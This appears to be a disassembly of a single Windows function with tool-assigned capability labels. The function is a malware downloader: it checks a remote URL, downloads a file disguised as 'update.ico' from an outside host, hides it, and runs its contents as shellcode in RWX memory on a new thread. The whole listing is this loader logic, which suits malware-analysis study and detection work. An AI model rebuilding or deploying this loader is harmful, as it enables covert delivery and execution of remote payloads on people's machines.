Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Check http status code
Create http request
Create thread
Download url
Get file size
Read file on windows
Receive data
Resume thread
Set file attributes
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x70
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 1]
lea rcx, str.HTTP_Request
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x14000106e
lea rdx, str.InternetOpen_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
lea rdx, str.Checking_HTTP_status_failed
jmp 0x1400013fb
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__www.google_explorer.cloud_index
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x1400010ae
lea rdx, str.InternetOpenUrlW_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
jmp 0x1400010f3
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x4c]
mov edx, 0x20000013
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x140001108
lea rdx, str.HttpQueryInfo_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Checking_HTTP_status_failed
jmp 0x1400013fb
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [rsp + 0x4c], 0xc8
jne 0x1400013f4
lea rdx, str.HTTP_Status_Code_200._Proceeding_with_download_and_execution.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
mov rcx, rax
lea rdx, [0x1400016f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x20], rbp
xor r9d, r9d
lea r8, str.update.ico
lea rdx, str.https:__jd_dong.com_update.ico
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
je 0x1400011a9
lea rdx, str.Error_downloading_file:
call fcn.140001500
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400016f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Download_failed
jmp 0x1400013fb
lea rdx, str.Download_successful
call fcn.140001500
mov rcx, rax
lea rdx, [0x1400016f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 2
lea rcx, str.update.ico
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.update.ico
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000122e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Error_opening_file:
jmp 0x140001366
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140001730
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x48]
mov r8d, edi
mov rdx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001350
cmp dword [rsp + 0x48], edi
jne 0x140001350
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
sub rax, rbx
movsxd rsi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140001319
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_creating_thread:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
jmp 0x14000132c
lea rdx, str.Thread_created_successfully
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
lea rdx, [0x1400016f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013b3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Error_reading_file:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400016f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Reading_file_content_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
mov rcx, rax
lea rdx, [0x1400016f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001417
mov rdx, qword [rsp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001940
jmp 0x140001417
lea rdx, str.HTTP_Status_Code_is_not_200._Aborting_further_execution.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001500
lea rdx, [0x1400016f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140001417